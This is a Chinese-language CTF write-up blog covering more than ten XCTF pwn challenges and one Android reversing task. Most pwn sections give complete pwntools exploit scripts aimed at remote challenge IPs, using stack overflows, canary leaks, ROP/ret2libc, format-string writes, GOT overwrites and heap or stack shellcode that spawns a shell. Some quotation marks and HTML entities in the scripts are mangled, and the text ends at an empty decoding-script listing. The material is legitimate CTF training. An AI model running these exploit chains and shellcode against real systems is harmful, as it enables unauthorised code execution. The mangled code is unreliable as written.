Pwn

dice_game

题目来源: XCTF 4th-QCTF-2018

考点:栈溢出、混合编程

基本情况

程序实现的是一个具有用户姓名输入的菜随机数程序。

保护措施
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
````

##### 栈溢出

一开始我在纠结是输入数字时使用的是**短整型**,可不可能是整型溢出,这样既能保持低位数字符合要求,又能控制 rip 跳转到后门。一时想不起来是那一条题和这条很相似的,就这样怀疑。

最后观察是这里存在栈溢出:

```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL); // 随机种子
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);//栈溢出
if ( v6 <= 49 ) // 字符长度小于等于49
buf[v6 - 1] = 0; // 最后一个字符替换为\x00
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
…………
}

这是个小范围的栈溢出,可以覆盖随机数 seed 。做到这里发现和这条题目完全一样:[guess_num](# guess_num)。

思路

固定随机数之后,就是 python c 的联合编程,用 ctypes实现。

rand缺省种子参数时默认使用种子为:0

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from ctypes import *

context.log_level = 'debug'

p = remote("124.126.19.106",45292)
#p = process("./dice_game")
elf = ELF("./dice_game")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 'skye'.ljust(0x40,'a') + p64(0)
p.recvuntil("name:")
p.sendline(payload)

for _ in range(50):
p.recvuntil('Give me the point')
p.sendline(str(libc.rand()%6+1))


p.interactive()

pwn1

[collapse title=”展开查看详情” status=”false”]

考点:栈溢出,canary绕过

基本情况

程序实现功能是往栈上读写数据。

保护措施
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
......
while ( 1 )
{
menu();
v3 = my_input();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL); // 栈溢出
break;
......

栈溢出空间还是比较大的。

思路

使用栈溢出覆盖 canary 最后一字节,读取出 canary ,成功绕过 canary 保护。

1
2
3
4
5
6
7
8
#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))

题目没有预留后门,并提供 libc ,所以泄露 libc 调用 onegadget getshell 。泄露 libc 需要借助输出函数,即需要控制 rip 调用。

泄露 libc 还需要 rop 回到 main 执行下一步操作。

1
2
3
4
5
6
7
8
#leak libc
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

最后再次控制 rip 。

1
2
3
4
5
#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)
add(payload)
leave()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context.log_level = 'debug'

#p = process("./babystack")
p = remote("124.126.19.106",51939)
elf = ELF("./babystack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(context):
p.recvuntil(">> ")
p.sendline('1')
p.send(context)

def show():
p.recvuntil(">> ")
p.sendline('2')

def leave():
p.recvuntil(">> ")
p.sendline('3')

#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))

#leak libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400a93
start_addr = 0x400720

payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
#gdb.attach(p)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
onegadget = libc_base + 0x45216
log.success("onegadget:"+hex(onegadget))

#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)

add(payload)
leave()

p.interactive()

[/collapse]

stack2

题目来源: XCTF 4th-QCTF-2018

[collapse title=”展开查看详情” status=”false”]

考点:数字下标溢出

保护情况:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数:

1
2
3
4
5
puts("which number to change:");          // change
__isoc99_scanf("%d", &index); //没有检查下标
puts("new number:");
__isoc99_scanf("%d", &num);
num_list[index] = num;

程序中找到有预留的后门函数,所以通过数组越界修改返回地址到后门。所以需要寻找 num_list 与 eip 的偏移。

寻找 eip 在栈上地址比较容易,将断点打在 main 退出前(0x080488EF),查看寄存器值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffcfa0 ◂— 0x1
EDX 0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0x0
# 返回地址在栈上位置
ESP 0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add esp, 0x10
EIP 0x80488f2 (main+802) ◂— 0x669066c3
────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► f 0 80488f2 main+802
f 1 f7e1d637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

写入地址在写入或者 show 操作汇编打断点,下面在录入时打断点找:

1
2
3
4
5
6
7
8
9
080486BD                 call    ___isoc99_scanf
080486C2 add esp, 10h
080486C5 mov eax, [ebp+num]
080486CB mov ecx, eax
080486CD lea edx, [ebp+num_list]//写入栈上
080486D0 mov eax, [ebp+var_7C]
080486D3 add eax, edx
080486D5 mov [eax], cl
080486D7 add [ebp+var_7C], 1

调试查看寄存器找到地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
EAX 0x56
EBX 0x0
ECX 0x56
#写入地址
EDX 0xffffcf18 ◂— 0x45 /* 'E' */
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0xffffcf88 ◂— 0x0
ESP 0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0
EIP 0x80486d0 (main+256) ◂— 0x184458b
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
0x80486c2 <main+242> add esp, 0x10
0x80486c5 <main+245> mov eax, dword ptr [ebp - 0x88]
0x80486cb <main+251> mov ecx, eax
0x80486cd <main+253> lea edx, [ebp - 0x70]
► 0x80486d0 <main+256> mov eax, dword ptr [ebp - 0x7c]
0x80486d3 <main+259> add eax, edx
0x80486d5 <main+261> mov byte ptr [eax], cl
0x80486d7 <main+263> add dword ptr [ebp - 0x7c], 1
0x80486db <main+267> mov edx, dword ptr [ebp - 0x7c]
0x80486de <main+270> mov eax, dword ptr [ebp - 0x90]
0x80486e4 <main+276> cmp edx, eax

计算得出偏移:0xffffcf9c-0xffffcf18=0x84

后门函数只能本地打通,远程服务器没有 bash 指令。我就 ROP 和泄露 libc 地址了。看了大佬 wp 发现 system(sh)也能 getshell ,所以脚本如下:

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = 'debug'
p = process("./stack2")
p = remote("124.126.19.106",42070)

def change(index,context):
p.sendlineafter("exit",'3')
p.sendlineafter('change',str(index))
p.sendlineafter("number",str(context))


p.sendlineafter("have:",'2')
p.sendline(str(0x45))
p.sendline(str(0x56))

#system_plt
change(0x84+0,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
#gdb.attach(p)

#sh
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)

p.sendlineafter("exit",'5')
p.interactive()

[/collapse]

note-service2

[collapse title=”展开查看详情” status=”false”]
考点:堆上shellcode

保护情况:NX 保护关闭

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置到任意地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int myadd()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int chunk_size; // [rsp+Ch] [rbp-4h]

result = dword_20209C;
if ( dword_20209C >= 0 )
{
result = dword_20209C;
if ( dword_20209C <= 11 ) //chunk上限11个
{
printf("index:");
v1 = getinput();
printf("size:");
result = getinput();
chunk_size = result;
if ( result >= 0 && result <= 8 )
{
qword_2020A0[v1] = malloc(result); //堆指针存放可越界
if ( !qword_2020A0[v1] )
{
puts("malloc error");
exit(0);
}
printf("content:");
myread(qword_2020A0[v1], chunk_size);
result = dword_20209C++ + 1;
}
}
}
return result;
}

程序没有 NX 保护,可以将 shellcode 存放在堆上,然后通过数组越界覆盖 got 表调用 shellcode 。

程序限制堆大小不超过 8 ,且读入数据函数会占用最后一个字节写入 \x00 。可写入空间仅有 7 ,所以需要用汇编的跳转指令 jnz short xxx ,对应的十六进制为:EB xx,其中 xx 为偏移量。偏移量计算公式为:xx = 目标地址 - 当前地址 -2

程序申请一个 size 为 8 的堆结构如下:图源

从 chunk 0 jmp 头开始计算:xx = 2+1+8+8+8-2=0x19

构造一个调用 system 函数的shellcode ,然后数组越界覆盖一个可被控制输入参数的函数,例如 atoi ,传入参数 /bin/sh\x00 。这种构造方法要最后才修改 got 表,避免修改导致程序输入函数失效。

也可以到 shell-storm 找一个直接调用 system('/bin/sh') 的shellcode 一把梭哈。

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#encodeing:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')
p = remote("124.126.19.106",41618)
#p = process("./note-service2")

def add(index,size,content):
p.sendlineafter("your choice>> ",'1')
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)

def delete(index):
p.sendlineafter("your choice>> ",'4')
p.sendlineafter("index:",str(index))

#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
code1= (asm('mov eax,0x3B') + '\xeb\x19')
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
code4 = (asm('syscall').ljust(7,'\x90'))

#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'

#write shellcode
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)

#overwrite [email protected]
delete(0)
add(-8,8,code0)

#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')

p.interactive()

[/collapse]

pwn-100

[collapse title=”展开查看详情” status=”false”]
考点:栈溢出、ROP

这个栈溢出每次固定要求输入 200 个字符,也没有别的了。

ROP 操作也不需要往 bss 写入 /bin/sh ,直接在 libc 找一个就好了。(看到网上有这样的操作orz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#encoding:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')

p = remote('124.126.19.106',35604)
#p = process("./pwn-100")
elf = ELF("./pwn-100")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret = 0x0000000000400763
start_addr = 0x400550
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(200,'a')

# leak [email protected]
p.send(payload)
p.recvuntil("bye~\n")
puts_leak = u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

#leak libc
libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))
binsh_addr = libc_base + libc.search('/bin/sh').next()
log.success("binsh_addr:"+hex(binsh_addr))

#call system('/bin/sh')
payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'a')

p.send(payload)

#gdb.attach(p)


p.interactive()

[/collapse]

pwn-200

[collapse title=”展开查看详情” status=”false”]考点:栈溢出、泄露地址

漏洞函数如下:

1
2
3
4
5
6
7
ssize_t sub_8048484()
{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);//溢出
}

可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件,需要去libc database 查一下而已。查到的话是这个:libc6-i386_2.23-0ubuntu11_amd64.so

完整 exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = 'debug'

#p = process("./pwn")
p = remote("159.138.137.79",55989)
elf = ELF("./pwn")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x080483D0

payload = 'a'*(0x6c+0x4)
payload += p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(0x4)

p.recvuntil("!\n")
p.sendline(payload)
write_leak = u32(p.recvuntil("Welcome",drop=1))
log.success("write_leak:"+hex(write_leak))
libc_base = write_leak - libc.symbols['write']
log.success("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.success("system:"+hex(system))
binsh = libc_base + libc.search("/bin/sh").next()
log.success("binsh:"+hex(binsh))

payload = 'a'*(0x6c+0x4)
payload += p32(system) + p32(main_addr) + p32(binsh)

p.sendline(payload)
#gdb.attach(p)
p.interactive()

[/collapse]

CGfsb

[collapse title=”展开查看详情” status=”false”]

考点:写入小数字格式化字符串

完整 exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",59528)
#p = process("./CGfsb")

pwnme = 0x0804A068
payload = "%8c%12$n" + p32(pwnme)


p.recvuntil("name")
p.sendline(';a';*0x8)
p.recvuntil("please")
p.sendline(payload)

p.interactive()

[/collapse]

level3

[collapse title=”展开查看详情” status=”false”]

考点:栈溢出、ROP(ret2libc)

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &amp;buf, 0x100u); //溢出
}

打开了 NX 保护栈数据不可执行,程序没有预留后门。解决办法就是 ret2libc ,这种方法在《蒸米一步一步学ROP》中有详细讲解。
第一次执行是用于泄露 libc 地址;第二次调用 system 完成 ret2libc。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from libcSearch import *

context.log_level = ';debug';

p = remote("111.198.29.45",43333)
#p = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")

write_plt = elf.plt[';write';]
write_got = elf.got[';write';]
main_addr = elf.symbols[';main';]

payload = ';a';*0x88+';a';*0x4
payload += p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4)

p.sendlineafter("Input:\n",payload)
write_leak = u32(p.recv()[:4])
log.success("write_leak:"+hex(write_leak))
libc_base = write_leak - libc.symbols[';write';]
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols[';system';]
log.success("system_addr:"+hex(system_addr))

binsh_addr = libc.search("/bin/sh").next() + libc_base
log.success("binsh_addr:"+hex(binsh_addr))

payload = ';a';*0x88+';a';*0x4
payload += p32(system_addr)+p32(0xdeadbeef)
payload += p32(binsh_addr)

p.sendline(payload)

p.interactive()

[/collapse]

int_overflow

[collapse title=”展开查看详情” status=”false”]

栈溢出。位置在 check_passwd strcpy ,s 最大长度为 0x199 。不能直接进行溢出,有检查 s 长度的函数,设想是限定在 4~8 。重点在于 s 的长度存储变量使用的是 unsigned int 类型,也就是最大长度为 255 (2的8次方-1)。

要绕过这个限制才能溢出控制 eip 。绕过方法很简单,这个变量存储单元是 8 位,如果长度为 256 的话,程序就认为长度为 0 。因为 256 的二进制是 0b100000000 ,低八位为 0b00000000 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 &lt;= 3u || v3 &gt; 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&amp;dest, s); //溢出
}
return result;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = ';debug';

p = remote(';111.198.29.45';,30389)
#p = process("./int")
what_is_this = 0x0804868B

payload = ';a';*0x14
payload += ';a';*0x4
payload += p32(what_is_this)
payload = payload.ljust(256+6,';b';)

p.sendlineafter(';choice:';,';1';)
p.sendlineafter(';username:';,';author_skye';)
p.recvuntil(';passwd:';)
p.send(payload)

p.interactive()

[/collapse]

guess_num

[collapse title=”展开查看详情” status=”false”]

考察点:利用栈溢出固定随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&amp;v7); //栈溢出
srand(seed[0]);
for ( i = 0; i &lt;= 9; ++i ) // 连续正确10次
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &amp;v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}

由于题目开启 Canary 不能直接控制 eip ,观察栈空间发现 v7 位于 seed 前面。

1
2
3
4
5
6
7
8
9
10
11
12
-000000000000003C var_3C          dd ?
-0000000000000038 var_38 dd ?
-0000000000000034 var_34 dd ?
-0000000000000030 v7 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
…………
…………
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

随机数的随机性是基于 seed 种子,当固定 seed 时,实际上生成的是伪随机数,也就是一个固定的值。这道题几时利用 gets 造成栈溢出覆盖 seed 固定生成随机数,配合 ctypes 库实现 python、c 混合编程。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *

context.log_level = ';debug';

p = remote("111.198.29.45",57280)
#p = process(';./b59204f56a0545e8a22f8518e749f19f';)


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil(';Your name:';)
p.sendline(payload)
libc.srand(1)

for _ in range(10):
num = str(libc.rand()%6+1)
p.recvuntil(';number:';)
p.sendline(num)

p.interactive()

[/collapse]

string

[collapse title=”展开查看详情” status=”false”]

考点:格式化字符串任意地址写小数

题目前面有几个条件循环绕过,反编译就能看出,不再赘述。看漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That';s odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf((__int64)"%d", (__int64)&amp;v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("';Give me an address';");
_isoc99_scanf((__int64)"%ld", (__int64)&amp;v2);
puts("And, you wish is:");
_isoc99_scanf((__int64)"%s", (__int64)&amp;format);
puts("Your wish is")


;
printf(&amp;format, &amp;format); // 格式化字符串漏洞
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

可控制的第一个参数是在 18 行,偏移为 7 。这里利用方式有多种,利用偏移 7 和 8 控制任意写入,也可只利用偏移 8 任意输入。(exp 使用偏移 7 和 8)

修改 v3 值后,绕过最后一个障碍。然后写入一段 shellcode 即可。shellcraft 生成的没有效果,就去 http://shell-storm.org/ 找了一个。

完整 exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",48602)
#p = process("./string")

p.recvuntil("secret[0] is ")
v3 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3:"+hex(v3))

p.recvuntil("secret[1] is ")
v3_1 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3_1:"+hex(v3_1))

#payload = "aaaaaaaa%p%p%p%p%p%p%p%p%p"
#offset = 7
payload = "%85c%7$n"

p.recvuntil("name")
p.sendline(';a';*0xc)

p.recvuntil("up?:")
p.sendline("east")

p.recvuntil("leave(0)?:")
p.sendline(str(1))

p.recvuntil("address")
p.sendline(str(v3))

p.recvuntil("is:")
p.sendline("%85c%7$n")

#shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)

p.interactive()

[/collapse]

Mobile

eastjni

考点:自定义密码表base加密、so

分析

前面的怎么定位 java 层关键位置就略过,查一下错误弹窗就能找到。

输入字符串会作为 mainactivity/a 的参数输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private boolean a(String paramString)
{
try
{
a locala = new com/a/easyjni/a;
locala.<init>();
bool = ncheck(locala.a(paramString.getBytes()));
return bool;
}
catch (Exception paramString)
{
for (;;)
{
boolean bool = false;
}
}
}

然后又作为 com/a/easyjni/a 的参数输入,到达第一层加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class a
{
private static final char[] a = { 105, 53, 106, 76, 87, 55, 83, 48, 71, 88, 54, 117, 102, 49, 99, 118, 51, 110, 121, 52, 113, 56, 101, 115, 50, 81, 43, 98, 100, 107, 89, 103, 75, 79, 73, 84, 47, 116, 65, 120, 85, 114, 70, 108, 86, 80, 122, 104, 109, 111, 119, 57, 66, 72, 67, 77, 68, 112, 69, 97, 74, 82, 90, 78 };

public String a(byte[] paramArrayOfByte)
{
StringBuilder localStringBuilder = new StringBuilder();
for (int i = 0; i <= paramArrayOfByte.length - 1; i += 3)
{
byte[] arrayOfByte = new byte[4];
int j = 0;
int k = 0;
if (j <= 2)
{
if (i + j <= paramArrayOfByte.length - 1) {
arrayOfByte[j] = ((byte)(byte)(k | (paramArrayOfByte[(i + j)] & 0xFF) >>> j * 2 + 2));
}
for (k = (byte)(((paramArrayOfByte[(i + j)] & 0xFF) << (2 - j) * 2 + 2 & 0xFF) >>> 2);; k = 64)
{
j++;
break;
arrayOfByte[j] = ((byte)k);
}
}
arrayOfByte[3] = ((byte)k);
k = 0;
if (k <= 3)
{
if (arrayOfByte[k] <= 63) {
localStringBuilder.append(a[arrayOfByte[k]]);
}
for (;;)
{
k++;
break;
localStringBuilder.append('=');//base
}
}
}
return localStringBuilder.toString();
}
}

每一个字符都进行一次加密,每轮加密都会有 & 、>> 操作,且最后会加上 == ,推断是 base 加密。然后根据密码表 a 判断是自定义密码表的 base 加密方式。

第一次加密完成后的返回值作为 ncheck 的参数,这是一个加载的 so 中的函数:System.loadLibrary("native");。分析这个函数需要到 so 文件里面,so 文件在 lib/armeabi-v7a/libnative.so 。

进入到 ncheck 函数后,再进行两次加密,分别是:前 16 位与后 16 位互换;前 1 位与后 1 位互换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed int __fastcall Java_com_a_easyjni_MainActivity_ncheck(int a1, int a2, int a3)
{
…………
v6 = (const char *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);// 字符串传递给a1,a1指针取值到v6
if ( strlen(v6) == 32 ) // base加密长度限制32位
{
v7 = 0;
do
{
v8 = &s1[v7]; // s1[0]指针给v8
s1[v7] = v6[v7 + 16]; // s1[0]=v6[16]
v9 = v6[v7++];
v8[16] = v9; // s1[0+16]=v6[0]
}
while ( v7 != 16 ); // 循环16次,每次操作两个数
// 相当于将前16位于后16位对调
(*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v5, v6);
v10 = 0;
do
{
v12 = __OFSUB__(v10, 30);
v11 = v10 - 30 < 0;
v16 = s1[v10];
s1[v10] = s1[v10 + 1]; // s1[0]=s1[1]
s1[v10 + 1] = v16; // s1[1]=s1[0]
v10 += 2;
}
while ( v11 ^ v12 ); // 相当于前一位与后一位对调位置
v13 = memcmp(s1, "MbT3sQgX039i3g==AQOoMQFPskB1Bsc7", 0x20u);//与密文比较
…………
}

思路

首先将密文:MbT3sQgX039i3g==AQOoMQFPskB1Bsc7 还原:

1
2
3
4
5
6
7
8
9
#手动完成前后 16 位互换
c = list("AQOoMQFPskB1Bsc7MbT3sQgX039i3g==")
for i in range(0,len(c),2):
v9 = c[i]
c[i] = c[i+1]
c[i+1] = v9
c = ''.join(c)
print("flag:{}".format(c))
#flag:QAoOQMPFks1BsB7cbM3TQsXg30i9g3==

然后实现自定义密码表 base 解码,我找到的一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
